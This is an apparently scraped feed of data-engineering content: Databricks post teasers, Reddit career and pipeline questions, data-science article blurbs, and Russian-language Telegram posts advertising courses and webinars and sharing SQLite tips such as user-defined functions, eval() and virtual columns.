At last week’s Data and AI Summit, we highlighted a new project called Spark Connect in the opening keynote. This blog post walks…

The post Introducing Spark Connect – The Power of Apache Spark, Everywhere appeared first on Databricks.

Making an open data marketplace Stepping into this brave new digital world we are certain that data will be a central product for…

The post Designing a Java Connector for Delta Sharing Recipient appeared first on Databricks.

Making an open data marketplace Stepping into this brave new digital world we are certain that data will be a central product for…

The post Designing a Java Connector for Delta Sharing Recipient appeared first on Databricks.

Since we launched MLflow in 2018, MLflow has become the most popular MLOps framework, with over 11M monthly downloads! Today, teams of all…

The post Introducing MLflow Pipelines with MLflow 2.0 appeared first on Databricks.

I've received a job offer for senior data engineer with request of : - Team Leader, Mentor - salary up to 6 figure - Startup - Full remote in the field I want Salary would be 5x than what I'm earning now. I would call myself more a middle data engineer, I'm good in troubleshooting, but I've never mentored as I'm still learning a lot of things that I still don't know. Should I give it a try and let the company decide if I'm fit ? submitted by /u/CauliflowerJolly4599 [link] [comments]

For one of our NLP project, we have scraped data (downloaded raw data in html format) form a web portal. We are trying to parse the html and finding difficulties as the template they have used in the portal varies over the period of time and quite difficult as sometimes they don't even use proper styling for headers or etc.. We have to identify header, divions, sub division and contents. This hierarchy style is not consistent as they have used several templates to build the portal. Any ideas on how to tackle the situation? submitted by /u/Liily_07 [link] [comments]

I have followed this guide to create a for each loop retrieving the data I need and it is working, however I would like all my JSON records in a single file, but the copy task is overwriting the previously imported record and I cannot see how to make this an insert/upsert rather than overwriting. Due to my lack of experience and probably asking the wrong questions, Google has not been my friend and I have been unable to adapt this to meet my needs. I have tried changing copy behaviour from none to merge but this still did not solve the issue. Can anyone advise how to achieve what I am after? Thanks in advance! submitted by /u/StylishNihilist [link] [comments]

From a career standpoint, does it make sense to get the basic certifications for all the major cloud providers (AWS, Azure, GCP), or should I pick and focus on one? I am pretty sure the consulting firm I work for will pay for whichever option I go for. It would make sense to go for AWS, since it's the most used, but the customer I am currently assigned on uses GCP and Azure, so I am not sure on which to pick. If it makes sense to get them all, it saves me from the agony of choice. submitted by /u/arminredditer [link] [comments]

Hi, I am working as a data scientist at a company who has been so far outsourcing our engineering work to other companies. So all I know is that there is a data warehouse where I can find data that needs to be analyzed. Now, my company wants to get into data engineering as well. One tool of interest is Snowflake. Since we are working with AWS cloud services, it shouldn't be a problem to start with Snowflake. However, I just don't know how to build a data warehouse from scratch using Snowflake. Where should I start? Are there any courses or do I only learn by doing? Actually I would prefer if someone could give me a helicopter view about data engineering in general. Apologies for the long te…

submitted by /u/potfaxvow [link] [comments]

Hi all, I'm working as a W2 contractor through an agency and am 3 months into a 6 month contract. They like the work I've done so far and have started the process to convert me to full time. I'm mainly wondering what others experiences are negotiating from contract to FTE and what to expect in terms of base salary and if the rate should change drastically during the conversion. My own assumption is even though the company will now be incurring additional costs for benefits/401k match, etc.. , I should be paid the same rate working as a FTE since the company will no longer have to pay the agencies premium (e.g. I make $70/hr, but the agency is billing $100/hr ). Are my assumptions reasonable…

Currently considering cloudera, are there better options? submitted by /u/kultuhtu [link] [comments]

https://press.aboutamazon.com/2022/11/aws-announces-two-new-capabilities-to-move-toward-a-zero-etl-future-on-aws Any thoughts? Trying to read between the lines here, it sounds a bit like a fancy federated querying but I’m just speculating. There’s not much to go off of detail wise and am hoping for a white paper soon. This would be huge if it worked well for my company! Would def change some upcoming plans to switch to another cloud dw. submitted by /u/revy_bayes [link] [comments]

Hi i'm new to data engineering and am looking for where i can find more info on what sorts of tests to write, how to implement/integrate them on python. Currently we use a hadoop set up and spark jobs to update tables in a pipe, but there aren't any automated tests put in place. Most of the testing is done manually as a separate task but I feel like this isn't maintainable. Any suggestions would helpful submitted by /u/AdDesigner6934 [link] [comments]

I'm in the mid-age crisis here...I have a bachelor's degree in Computer Information Systems, and been working so many different roles and projects ever since I graduated.Here's a quick summary of the roles and projects that I played so far: QA (manual testing) - 1 year IT BA (web/mobile app, data warehousing, system migration, data migration, business process improvements) - 5 years SAS data analyst - 2 years IT PM (web app) - 1 year Most of the projects that I worked as a consultant lasted about 1 year or 2, so I neither have a strong business domain knowledge in the area I worked in nor gained super strong technical knowledge or skills (such as data warehousing) from each project. However…

Image by authorMitigating the unavoidable impacts of data drift and bit rot in a long-lived data productHave you ever had a data product operating smoothly for a long period of time … then suddenly break? Have you spent time wondering what changed, only to discover that someone renamed a column in a table somewhere? Or perhaps, you discover that suddenly your data is one more day stale than it used to be? When you move from a development mindset to a data product mindset, your focus turns from the specification and development of new functionality to the problem of maintaining continued, reliable and robust execution. Yet, with a long-lived data product also come the unavoidable and often u…

With visualization to clearly explain the impacts of hyperparametersContinue reading on Towards Data Science »

An end-to-end deep learning geospatial segmentation project using Pytorch and TorchGeo packagesContinue reading on Towards Data Science »

Subdividing the Subsurface Based on Well Log MeasurementsContinue reading on Towards Data Science »

Works 100%Continue reading on Towards Data Science »

SQL Tutorial with Examples and Cheat SheetContinue reading on Towards Data Science »

Or alternatively, How To Be Critical With Data.Continue reading on Towards Data Science »

Fluorescent Neuronal Cells dataset — part IIPeculiar traits and challengesPhoto by JESHOOTS.COM on UnsplashIn the second article of this series, we will go through the Fluorescent Neuronal Cells (FNC) data in more detail, highlighting some of their peculiar traits and challenges.If you missed the first part, check it out for more details on how the data were gathered and what they represent:Fluorescent Neuronal Cells dataset — part IDistinctive traitsThe Fluorescent Neuronal Cells dataset comes with some peculiar traits that may be worth mentioning in order to help analyze these data.RGB channelsThe pictures are dominated by two prevalent tints due to the intentional selection of light with…

A robot playing games. Image by Dall-E 2.Reinforcement learning challenges and how to solve themDeep reinforcement learning is not just about replacing a Q-table with a neural network. There are more techniques you need to implement to improve the performance of the agent. Without these, it can be difficult or even impossible to create a well-performing RL agent.If you aren’t familiar with deep Q networks (DQN), I can recommend this post. The image below summarizes the process: a Q-table is replaced by a neural network to approximate the Q-value of every state action pair. The reason to use a neural network instead of a Q-table, is because the Q-table doesn’t scale well. Another reason is t…

Comparing normal distributions and their metricsContinue reading on Towards Data Science »

An end-to-end deep learning geospatial segmentation project using Pytorch and TorchGeo packagesContinue reading on Towards Data Science »

In this video, SeatGeek's Brian London and Kyle Shannon share how data observability helped their data team reduce data incidents from 10 to 0 per month in just one quarter.

Part one in a practical data leader series: how data leaders can better work with the finance team.

Data trend predictions from two industry veterans who have made big bets on the future of data engineering.

Will AI develop empathy? Can AI and humans co-exist? Inquiring minds want to know, and Nobel Prize-winner Daniel Kahneman has the answers.

Check out the 7 rules that helped Cribl transform into a data-driven culture with critical assets used by 60% of employees every month.

Monte Carlo's new integration with Microsoft Power BI helps data teams detect, triage, and understand the downstream impact of data downtime.

Long live the composable customer data platform. Or, why marketing and data teams should be friends.

You’ve heard of shadow IT, but what about shadow data? Read on to see where the data silos are and how to get rid of them.

Data Reliability Dashboard gives data engineers the tools necessary to measure data uptime, drive operational improvements, and scale reliability.

Real lessons from recent data warehouse migrations like Qubole to AWS EMR andMySQL to AWS Redshift.

The data gatekeeper is dead, long live the…oh no what have we done?

Let’s talk about anomaly detection, resolution, and prevention across the dbt Semantic Layer and the metrics you care about.

When it comes to achieving model accuracy, data cleaning alone is insufficient. Here’s why.

More organizations are leveraging a data center of excellence and central data platform to mitigate the risks inherent with the extremes of centralization and decentralization.

🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анализу данных в команде AGI NLP в SberDevices.💣 По итогам занятия вы:️✔️ Узнаете технику векторных представлений слов (word embedding)✔️ Изучите несколько классических методов векторных представлений слов.✔️ Научитесь применять методы word embedding для решения прикладных NLP-задач📊 Занятие проходит в рамках курса «Natural Language Processing (NLP)». Курс предназначен для DS/ML-специалистов, которые хотят углубить знания в области NLP.✅ Регист…

Всем привет! 👋Друзья, предлагаем вам оценить российский рынок мероприятий для разработчиков. Поделитесь, какие митапы и конференции вам интересны и почему, какие форматы участия вы предпочитаете. Онлайн-опрос займет не более 3-х минут. За это время вы передохнёте от работы, а в конце мы подарим скидку 25% на крутые образовательные лекции! Пройти опрос

​​🔥 Выгрузка данных из внешних систем — одна из неотъемлемых задач дата-инженера. 📌 Узнайте, как грамотно справляться с ней на открытом уроке 10 ноября в 18:00 мск. Занятие проведет Алексей Железной, Data Engineer в Wildberries. ️️❇️ Что вас ждет на вебинаре?️️✔️ Изучим классификацию источников✔️ Поймем, как это влияет на выбор способа загрузки информации✔️ Разберемся, какие из универсальных инструментов выгрузки данных актуальны сегодня ✔️ Научимся самостоятельно настраивать Data Ingestion пайплайны с помощью NiFi.💻 Занятие является частью онлайн-курса «Data Engineer» и дает возможность оценить формат обучения в OTUS. 🟢 Для регистрации пройдите вступительный тестРеклама. Информация о рекла…

На ютуб-канале SmartData начали появляться доклады с одноимённой конференции, которая проходила в конце октября: https://bit.ly/3zOHh2h

Ко мне обратилась IT-компания с просьбой провести анонимный опрос среди подписчиков моего канала. Если у вас есть пара минут, порефлексируйте, пожалуйста, с нами о новой реальности в небольшом опросе. Ваши ответы помогут крупной IT-компании понять, где теперь лучше организовывать профессиональные мероприятия и оказывать помощь и поддержку комьюнити.Пройти опрос.Опрос актуален для граждан РФ

Data Engineer (senior/lead)🏢 в классном офисе в Москве;💳 от 300К руб., белая ЗП или ИП;🗂 большой датасет, интересные задачи, возможность влиять на продукт.Ищем Data Engineer в команду PREDICTO. Будем разрабатывать CDP (costumer data platform), для сегментации пользователей на аудитории и многих других интересных задач.Нет долгих согласований, стремимся к быстрому внедрению в production и итеративной работой над улучшениями.Что нужно делать:• Проектировать, разрабатывать и поддерживать пайплайны для сбора и обработки данных;• Обеспечивать SLA и качество данных;• Готовить данные для моделей машинного обучения и участвовать в их продукционализации совместно с data science командой. Что ждем от…

​​🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и аналитика данных с помощью H3 (гексагоны);✔️ Оптимизация расчетов и производительности, кэширование.💻 Также на вебинаре подробнее познакомимся с программой онлайн-курса “Data Engineer”🔥 Проходите вступительный тест и записывайтесь на урок

🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и аналитика данных с помощью H3 (гексагоны);✔️ Оптимизация расчетов и производительности, кэширование.💻 Также на вебинаре подробнее познакомимся с программой онлайн-курса “Data Engineer”🔥 Проходите вступительный тест и записывайтесь на урок

Релиз Python 3.11Вчера вышел долгожданный (как минимум мною) релиз Python 3.11 Новая версия быстрее предыдущей на 10-60%, а в среднем на 22%, но помимо буста в производительности релиз содержит ряд крутых фич:— TaskGroup, можно забыть про asyncio.gather— ExceptionGroups— Читабельные traceback с подчеркиваниямиМне особенно зашла фича с группами исключений, даже накидал небольшой демо-пример.Когда стоит переводить проект на Python 3.11?Торопиться не стоит, т.к. далеко не все пакеты в вашем проекте могут иметь работающие колёса (wheel). Прямо сейчас, например, нет колёс для библиотеки psycopg2 для python3.11 под Windows. Я бы рекомендовал подождать пару минорных версий с исправлениями и уже по…

​​🔥 Хардкорный тест для дата инженеров 🔥🚀 Ответьте на 20 вопросов и проверьте, насколько вы готовы к обучению на курсе - «Data Engineer»💻 В новом потоке вас ждет актуализированная программа, живые вебинары с опытными экспертами и еще больше практики! В программе рассмотрим все процессы обработки данных — от загрузки из внешних источников до подготовки финальных витрин.️️🦾 После обучения вы сможете самостоятельно справляться даже со сложными задачами в сфере работы с данными. Освоите работу с Architecture, Data Lake, DWH, MLOps с практикой в Yandex Cloud.👉 ПРОЙТИ ТЕСТ https://otus.pw/39x0/💣 Пройдете тест, получите демо-ролик о занятиях на курсе и Welcome-скидку. 🔴 Также вам откроется доступ …

Привет всем! До начала нового сезона Podlodka Techlead Crew 🛠«Observability: monitoring, alerting, tracing» ещё осталось время. Мы перенесли старт на 17 октября. А значит вы еще можете успеть купить билет, чтобы узнать ответы на вопросы:⚡️Как справляться быстро и эффективно с ошибками в проде — советы от Михаила Дружинина из Datadog⚡️Как и зачем нужно измерять надежность системы и какие подходы для этого применять. Тайны раскроет Павел Лакосников из «Авито»⚡️Зачем нужны SRE-инженеры: почему возникла эта профессия, какие ее основные принципы и инструменты и чем они отличаются от DevOps-парадигмы. Примеры из практики Ганны Новиковой из Intergiro⚡️Как устроено SRE в разных компаниях — послушае…

Конференция SmartData 2022 пройдет 17–18 октября онлайн и 29 октября в офлайне.Программа уже готова — вас ждет 31 доклад о работе с данными. Вот их основные темы:✔️ DBMS and Big Data Storage✔️ Architecture of Data Platforms✔️ Data Governance✔️ Data Processing ✔️ MLOps / DevOpsЕсли в это непростое время вам хочется на несколько часов отвлечься и побыть среди единомышленников, то приходите на SmartData. А промокод dataeng2022JRGpc даст скидку на билеты из категории «Для частных лиц».Подробности и билеты — smartdatacont.ruЕсли сомневаетесь, стоит ли идти на SmartData, то приходите на бесплатный онлайн-фестиваль TechTrain 2022 Autumn (https://bit.ly/3RwmkyZ). Он традиционно объединяет всех пред…

Вышел релиз Airflow 2.4: https://bit.ly/3eUmC57Много всяких плюшек о которых подготовлю отдельный пост и обновлю контент курса 🎉

#article #ethereum Exporting the full history of Ethereum into S3https://medium.com/@tony.bryzgaloff/how-to-dump-full-ethereum-history-to-s3-296fb3ad175 (author: @bryzgaloff)What's inside:— BigQuery public datasets with Ethereum data: how to transfer to S3 quickly.— Alternative approach: exporting data from a public Ethereum node. No need to run your own node!— Processing uint256 with AWS Athena.— Processing realtime updates from Ethereum.— Best Data Engineering practices to process Ethereum data.A short summary inside 👇

Нашел презентацию, которую я показывал на собеседовании в SAP в Москве на позицию Sales Engineer (Pre sales) год 2012-2013 - "Научим слона танцевать"😂 Для меня вообще казалось быть pre sales это самая интересная вакансия, с одной стороны ты знаешь продукт, индустрию, много путешествуешь, делаешь презентации и демо, посещаешь конференции и тренинги, а с другой стороны не сидишь на проектах. В презентации есть слайды про ROI BI, можно прям в свое резюме добавлять, только цифры поменять. Будете рассказывать как вы помогли компании сэкономить кучу денег))Но в итоге не договорились по зарплате. PS Я был очень горд своим креативом на последнем слайде про Кристофари. (первый клиент сбера).Кстати, …

Приятная визуализация от Financial Times, если это действительно так. Напоминает фразу "Как сделать человеку хорошо - сделать плохо а потом как было". Как было уже не будет, но хоть так🫣

Допустим вы уже более-менее опытный и у вас есть работы с данными, и самое время углубляться дальше. Я составил список книг, который помогут вам перейти на следующий уровень. Практически все книги у меня в ToDo листе. Теория:- Designing Data-Intensive Applications - классика жанра- The Missing README - небольшой набор полезных советов от бывалых- Database Internals - ну а как же без баз данных- Fundamentals of Software Architecture - не самое приятное чтение,- The Staff Engineer's Path - если вам интересно развиваться в этом направленииМенеджемент:- The Manager's Path- The First 90 Days, Updated and ExpandedПрактика (эти книги не достаточно прочитать, с этим надо работать каждый день, чтобы…

Если вы разработчик и у вас есть пара минут, порефлексируйте, пожалуйста, с нами о происходящем в небольшом опросе. Ваши ответы помогут крупному работодателю понять, где теперь открывать офисы и какая помощь и поддержка вам нужны.Пройти опрос#реклама

Расскажу еще про один кейс. Задача: Создать аналитическое решение, точнее модернизировать существующее с использованием Azure облака. Основной источник данных телеметрия (логи JSON), которые скапливаются в Azure Storage Account в формате year/month/day/hour.Было: Был HDInsights + Hive (традиционный hadoop), это полный аналог AWS EMR + Hive, только в Azure. Hive читал JSON, преобразовывал его в плоскую таблицу и сохранял данные в формате Parquet. Все трансформации выполнялись с помощью Hive SQL. Это был так называемый Staging. Далее, на On-premise SQL Server создавались External Tables, что давало возможность использовать on-premise SSIS (ETL инструмент Microsoft) и грузить инкрементально да…

Косметикой Faberlic пользуются 8 млн семей России. Компания входит в Топ-100 по версии журнала Women’s Wear Daily и выпускает 1500 товаров в год.За 10 лет в хранилище копилась информация из Oracle, 1C и MS SQL Server. Когда объём вырос до 7 Тб, а количество пользователей — до 1 млн, обработка стала занимать много времени.Что хотели?🔹 ускорить загрузку;🔹 сделать базу гибкой;🔹 сформировать команду поддержки;🔹 расширить функционал.Что сделали?🔵 создали вычислительный контур в Yandex Cloud;🔵 провели тестовую загрузку;🔵 запустили нагрузочное тестирование;🔵 оптимизировали и переключили продакшн;🔵 усовершенствовали хранилище.Результат⚡️ оптимальная скорость загрузки;⚡️ комфортная работа с большим …

Конец года близок, успели все запланированное?

MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud⏰ Когда: 29 ноября, 17:00 (мск)📍 РегистрацияРегистрируйтесь на вебинар «MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud».MLOps помогает построить прозрачный и эффективный процесс работы с ML-решениями в компаниях, где в разработке, тестировании, развертывании и поддержке ML-моделей участвуют разнопрофильные специалисты. Вы узнаете, как сочетание Cloud-Native- и MLOps-подходов ускоряет процессы на всех этапах работы с ML-моделями. Расскажем, как с помощью JupyterHub и MLflow проводить эксперименты, организовывать трекинг, загружать и применять модели из центрального реестра MLflow на примере Cloud ML Platform.В программе:🔹 Вв…

Еще одна статья и визуализация - на это раз тема касается Performance Review. Я думаю каждый через это проходил. 10,000 Google Employees Could Be Rated as Low Performers, то есть bigdata посчитает кому уйти, а кому нет. Обычно performance review очень сильно зависит от отзывов ваших коллег и менеджеров, и менеджеров вашего менеджера, если вы знаете как их сделать "счастливыми", то врят ли вы попадете в low performers, а если вы любите показывать характер, спорить, то тут уже как повезет☺️ Опять же как и все ранее в канале, это моя точка зрения, у вас может быть другая, поэтому welcome в комменты.Я тут понял в чем самая большая проблема всех этих увольнений - это то, что у людей зарплата бол…

Несколько графиков "пирожков" рассказывают нам об опасности визы H1B. FAANG компании имеют самую большую квоту на рабочие визы и соответственно при увольнении людей, специалисты на рабочей визе находятся в группе риска. При массовых сокращения компании нам не сообщают о проценте уволенных с H1B. Для меня всегда был важный вопрос иммиграции. В лоб обычно существуют 2 варианта:1) Быстро и не предсказуемо - рабочая виза, которая вас ограничивает и может ничего не гарантировать2) Долго - классическая иммиграция как в Канаде и Австралии. Вы получаете вид на жительство, бенефиты и уже на месте думаете, что делать.Кроме этих 2 вариантов существует еще много разных вариантов, например по учебной ви…

А вы еще ждете?🦧

Всем привет! Несколько новостей! 🦆1️⃣ Роман @rspon завел чат по datalearn https://t.me/datalearn_chat (присоединяйтесь, инфа там в закрепе) в замен слака, так как:1) слак все равно удаляет всю историю2) часто нужен VPNВ целом Slack хороший, так как это небольшая строчка в резюме, мелкая, но полезная. Так что опционально вы можете попробовать туда пробиться через чатик, но для учебы главное это гит учебник.В чате можно домашку кидать2️⃣ Я заметил, что уже много людей из нашего сообщества обитают в Ванкувере, а значит можно сделать митап. Я долго думал как это сделать бесплатно и хорошо, и придумал. Я же лид по Табло группе местной, и офис SalesForce в Ванкувере в моем распоряжении для митапа…

Расскажу про один кейс на картинке. Условно назовем его Embedded BI. Задача простая, у нас есть хранилище данных, которые наполняется данными об использовании нашего продукта. Теперь, мы хотим для наших клиентов показывать метрики внутри их личного кабинета. Не можем же мы, для каждого клиента купить лицензию Tableau/Looker. Точнее можем, и вам с удовольствием продадут))В нашем случае, мы лучше найдем open source продукт, который позволит настроить графики и аналитику и легко интегрируется в web framework. И это headless BI (тоже новый термин для меня) - Cube.js. Штука крутая и можно создавать очень красивые графики. Вообще можно использовать как инструмент красивых управленческих дашбордов…

Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата инженера в бизнес-процессах, а также сложностях и нюансах специализации. Наши эксперты поделятся своим бесценным опытом и расскажут о: ▪️Своем извилистом пути в профессию ▪️Современном дата инжиниринге и о том, как он отличается от компании к компании ▪️Сходствах и различиях в ролях аналитика и дата инженера и о том, когда эти роли можно совмещать ▪️Важности софт-скиллов для дата инженера БОНУС: Как и всегда, наши спикеры дадут полезные реком…

Парень в твиттере совершенно залипательно визуализировал механику сборки кубика рубика 🤯

Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланировать переезд на новую BI‑систему как отдельных дашбордов, так и целых аналитических систем.Помимо этого вас ждут живые Q&A-сессии, кейсы реальных проектов, конкурс и сюрпризы для победителей.Получите знания для построения полноценной системы бизнес-аналитики и прокачайте свои скиллы по работе с дашбордами.Участие бесплатное, нужно только ➡️ зарегистрироваться#реклама

▫️ Комьюнити Cyprus Data набирает обороты▫️Ребята, привет! Я живу на Кипре уже 7 месяцев и за это время многое успел сделать: зарегистрировал компанию, перенес сюда все бизнес-операции, поучаствовал в турнире по теннису и создал коммьюнити @cyprusdata.Больше всего хочется рассказать о последнем: чудесным образом удалось создать невероятно крутейшее ламповое коммьюнити с офлайн-митапами.Как все развивалось?Первый митап мы провели в баре и получился мощный нетворкинг, на который пришло человек 30. Однако, были желающие рассказать о своих проектах и вторую встречу мы уже решили организовать посерьезнее. Ребята из Exness помогли нам с площадкой, организацией и различными угощениями, а спикеры с…

Друзья, через 3 часа, ровно в полночь по Москве, карета превратится в тыкву 🎃Успевайте оплатить подписку со скидкой и подключайтесь к нашему каналу FULL JOIN! ⬆️

LEFT JOIN pinned «Tap the button below to get paid access to "FULL JOIN".​»

Tap the button below to get paid access to "FULL JOIN".​

Мы не могли отказать себе (и вам!) в возможности провести черную пятницу и приобрести доступ к нашему каналу со скидкой…Поэтому сегодня – 25 ноября – вы сможете приобрести подписку FULL JOIN на месяц за 245₽. Это идеальная возможность для тех, кто не мог решиться и думал, стоит ли оно того – теперь точно стоит! 🎃По цене чашки каппучино в Петербурге вы сможете приобрести доступ к нескольким превосходным ноябрьским материалам по SQL, чату с экспертом по анализу данных (мной) и многому другому (не раскрываем всех карт, но вам понравится!). Доступ по сниженной цене останется на будущие месяцы у всех, кто купит подписку и решит её продлить 🥳P.S. Дайте знать, если кому-то нужна ссылка в евро и вы…

Это вам не «Привет, Сири!»Разработчик и предприниматель из Парагвая Роберто Дам, решил поставить над собой эксперимент, записывая свою речь 24x7 и обрабатывая ее с помощью AI.Как?Используя бесплатную систему автоматического распознавания речи Whisper, выпущенную OpenAI, Роберто Дам создал для себя универсального ассистента. Ассистент записывает устные команды, которые обозначены ключевыми фразами, и, в конце дня, представляет все данные о себе в двух форматах: дневник и дашборд (примеры закинули в комментарии). Одно из преимуществ его подхода состоит в том, что, в отличие от Google ассистента, персональные данные, разговоры и контекст не будут храниться у третьих лиц, а также будут обработа…

Мы с Колей сделали штуку! Очень давно хотела поработать с данными песен и сделать что-то типа проекта про сложность текстов от The Pudding. Коля (Left Join) помог собрать и проанализировать данные, а дальше уже датавииииз 🙈⚡️Так что представляем вам анализ простоты текстов русских песен.Русские песни, как оказалось, тоже упрощаются со временем. А шансон и рок – жанры с самыми “сложными” песнями. По ссылке можно посмотреть, какие жанры содержат в себе более простые песни, проанализировать песни любимого исполнителя и поисследовать самые сложные и простые песни десятилетий.Тексты брали с сайта txtsong, а метрику простоты песен можно посмотреть двумя способами: через уникальные строчки в песне…

@nastengraph сделала отличный дашборд по данным, о которых мы уже рассказывали чуть раньше.

Первые реакции и отзывы на платный контент в FULL JOIN 😎

PivotTableJS – библиотека для быстрого исследования данных в Jupyter Notebook. Все с drag-n-drop, дата саентисты советуют.

FULL JOIN – закрытый канал для полного погружения в аналитику данныхДрузья, мы решили запустить новый формат – профессиональное комьюнити для тех, кому хочется больше экспертного контента от меня лично и команды моих лучших аналитиков. В отличие от этого публичного канала, там мы будем выпускать гораздо больше профессионального подробного контента для вас. А это значит, что мы постараемся раскрывать именно те темы, которые вы будете запрашивать (в рамках нашей с вами любимой области – аналитики и инжиниринга данных).В канале будет полная и подробная информация по вопросам аналитики данных (и не только!), которую я собирал годами и очень бы хотел знать на заре своей карьеры. Конечно, этот пр…

Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы:select eval('create table tmp(value int)');select eval('insert into tmp(value) values (1), (2), (3)');select eval('select value from tmp');select eval('drop table tmp');Функция входит в расширение define.

Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно определить собственную функцию:select define('sumn', ':n * (:n + 1) / 2');А затем использовать, как будто встроенную:> select sumn(5);15Пользовательские функции могут принимать несколько параметров и вызывать другие функции.Сгенерировать случайное N, такое что a ≤ N ≤ b:> select define('randint', ':a + abs(random()) % (:b - :a + 1)');> select randint(10, 99);42Можно даже задать функцию, которая возвращает несколько значений!Подробности в доку…

Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto: криптографические хеш-функции вроде SHA-1 и SHA-256.— fileio: работа с файловой системой — чтение и запись файлов, создание каталогов.— fuzzy: нечеткое сравнение строк, фонетические алгоритмы, транслитерация.— ipaddr: манипуляция IP-адресами и подсетями.— json1: работа с JSON.— math: математические функции.— re: регулярные выражения.— stats: статистика — медиана, процентили, стандартное отклонение.— text: работа со строками.— unicode: подд…

Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для аналитики» для выпускников «окошек» и «на практике».Так что если вы:— успешно решили все задачки в «SQLite на практике» (скидка 500₽),— или получили сертификат с отличием в «Оконные функции SQL» (скидка 500₽),— и хотите пройти «SQLite для аналитики»,то присылайте ссылку на свой Степик-профиль мне @nalgeon, чтобы получить промо-код.

Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v.employer_id join area as a on a.id = v.area_idТеперь хочется запускать запросы по сводным данным. Есть три способа это сделать:1) Common Table Expression (CTE)2) Представление (view)3) Временная таблица (temporary table)CTE я описывал в отдельной заметке, не буду повторяться. Важно, что CTE каждый раз вычисляется заново, так что если наш сводный select не особо быстрый — запросы по нему будут тормозить.Представление — это такой именованный…

JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": "2022-05-15T09:31:00Z", "object": "user", "object_id": 11, "action": "login", "details": { "ip": "192.168.0.1" }}Или пополнение счета:{ "timestamp": "2022-05-15T09:32:00Z", "object": "account", "object_id": 12, "action": "deposit", "details": { "amount": "1000", "currency": "USD" }}Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON. Заводите таблицу events с единственным полем value:select value from events;{"timestamp":"2022-05-15T09:31:00Z",...{"timestamp":"2022-05-15T09:32…

Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы. Например, есть столбец salary с зарплатой до вычета налогов:┌────────┐│ salary │├────────┤│ 120 ││ 90 ││ 155 │└────────┘Можно посчитать зарплату «на руки»:select id, salary*0.87 as net_salaryfrom employees;А чтобы не таскать везде эти вычисления, удобно создать виртуальный столбец.В общем виде синтаксис такой:alter table ТАБЛИЦАadd column СТОЛБЕЦ ТИП as (ВЫРАЖЕНИЕ);Для зарплат будет так:alter table employeesadd column net_salary real as ( salary*0.87);После этого столбец можно использовать в запросах точно так же, как обычные столбцы:select id, net_salaryfrom employees;Виртуальные столбцы не хранятся в …

Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и тогда многострочный запрос редактируется одним куском!

История команд SQLiteЕсли вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в каталоге пользователя и называется .sqlite_history. Он текстовый, так что можно просматривать хоть в редакторе. Если хотите сохранить в другом месте — укажите полный путь в переменной окружения SQLITE_HISTORY.История записывается в файл при штатном выходе из консоли, так что если «моргнет» электричество или еще что — команды, выполненные с последнего запуска sqlite3, потеряются.Конечно, запись истории — не единственная фича консоли. Например…

Курс «SQLite на практике»Запускаю новый курс! Подойдёт всем, кто знаком с основами SQL, и хочет узнать о возможностях и особенностях SQLite.Начал с трех модулей, хорошо знакомых выпускникам другого моего курса, «SQLite для аналитики»:— Импорт, анализ и экспорт данных.— Типы данных в SQLite.— Работа с JSON.В планах и другие модули, посвященные специфике SQLite.Курс пока бесплатный, но это не навсегда.Записывайтесь, если хотите прокачать понимание SQLite и не боитесь командной строки:SQLite на практике

